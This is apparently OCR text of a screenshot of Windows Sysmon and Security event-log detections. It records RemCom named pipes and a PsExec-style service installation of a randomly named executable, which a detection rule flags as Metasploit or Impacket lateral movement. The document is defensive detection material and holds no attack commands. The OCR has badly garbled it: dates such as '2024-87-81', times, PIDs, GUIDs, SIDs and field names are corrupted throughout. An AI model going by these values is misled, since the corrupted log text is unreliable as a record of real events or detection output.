2024-87-81 23:18:46.975 +88:88 - PUA - RemCom Default Named Pipe - med - EC2AMAZ-LMFD2TO - Sysmon - 17 - 3714 . Pipe:|\RemCom stdoutwaHE877287 | Rroc: C:\Windows\tQBIFjlu.exe | PI

- 1 I
D: 2928 | PGUID: FC79889A-3956-6683-CF1C-00066066C581 - EventType: CreatePipe | RuleName: - | User: NT AUTHORITY\SYSTEM | UtcTime: 2824-87-81 23:18:46.969

2024-87-91 23:18:46.975 +80:80 - Pipe Created - info - EC2AMAZ-LMFD2TO - Sysmon - 17 - 3715 - Pipe: \RemCom_stderrwaHE877287 | Proc: C:\Windows\tQBIFjlu.exe | PID: 2928 | PGUID: F
C79089A-3956-6683 -CF1C-00000000C501 - EventType: CreatePipe | RuleMame: - | User: NT AUTHORITY\SYSTEM | UtcTime: 2824-87-81 23:18:46.969

2024-87-81 23:18:46.975 +88:880 - PUA - RemCom Default Named Pipe - med - EC2ZAMAZ-LMFD2TO - Sysmon - 17 - 3715 -|Pipe: \RemCom_stderrwaHE877287 | Proc: C:\Windows\tQBIFjlu.exe
D: 29286 | PGUID: FC79889A-3956-6683-CF1C-0006000BC501 - EventType: CreatePipe ! RuleName: - | User: NT AUTHORITYXSYSTEN OTCTIMET Z0924-87-0T Z3:18:46.960

PI

2624-87-81 23:18:46.975 +80:80 - Pipe Created - info - EC2AMAZ-LMFD2TO - Sysmon - 17 - 3716 - Pipe: \RemCom stdinwaHE877287 | Proc: C:\Windows\tQBIFjlu.exe | PID: 2928 | PGUID: FC
70089A-3956-6683-CF1C-00000006C5081 - EventType: CreatePipe | RuleName: - | User: NT AUTHORITY\SYSTEM | UtcTime: 2024-87-81 23:18:46.969



Bonus: PsExec

Service Name/Executable Name

2024-087-81 23:18:46.693 +808:00 - File Created - info - EC2AMAZ-LMFD2TO - Sysmon - 11 - 3786 - Path: C:\Windows\tQBIFjlu.exe | Proc: System | PID: 4 | PGUID: FC79889A-3187-6631-EB@
3-060000000000 - CreationUtcTime: 2624-07-81 23:18:46.688 | RuleName: - | User: NT AUTHORITY\SYSTEM | UtcTime: 28624-87-81 23:18:46.688

2024-07-01 23:18:46.719 +86:80 - Svc Installed - info - EC2AMAZ-LMFD2TO - Sys - 7845 - 99662 - Svk: ifce ﬂ Path: %systemront%}tgﬂlfjlu.exe | Acct: LocalSystem | StartType: demand
start - ServiceType: user mode service

2024 -87-81 23:18:46.719 +88:80 - Rare Service Installations - low » - + - « - « - « Count: 1 | ServiceName: ifCf . -

Service Type/Service Start Type

2024-987-81 23:18:46.731 +80:08 - Metasploit Or Impacket Service Installation Via SMB PsExec - high - EC2AMAZ-LMFD2TO - Sec - 4697 - 215964 - Svc: ifCf | Path: %systemrootZ\tQBIFjl
u.exe | User: Administrator | SvcAcct: LocalSystem | SvcType: 8x18 | SwcStartType: 3 | LID: ©x1dd349b - ClientProcessId: & | ClientProcessStartKey: @ | ParentProcessId: ® | Subjec

tDomainMName: EC2AMAZ-LMFD2TO | SubjectUserSid: 5-1-5-21-3465794285-1353486219-1987945477-588

2024-87-91 23:18:46.731 +66:86 - Servi i - Security - high - EC2AMAZ-LMFD2TO - Sec - 4697 - 215964 - Swc: ifCf | Path: %systemroot®#\tQBIFjlu.exe | User
: Administrator | SvcAcct: LocalSysteml] » Ax18 | SyrSt : 3 | LID: 8x1dd349b - ClientProcessId: @ | ClientProcessStartKey: @ | ParentProcessId: & | SubjectDomainName:

EC2AMAZ-LMFD2TO | SubjectUserSid: 5-1-5-21-3465794285-13534086219-19087945477-566
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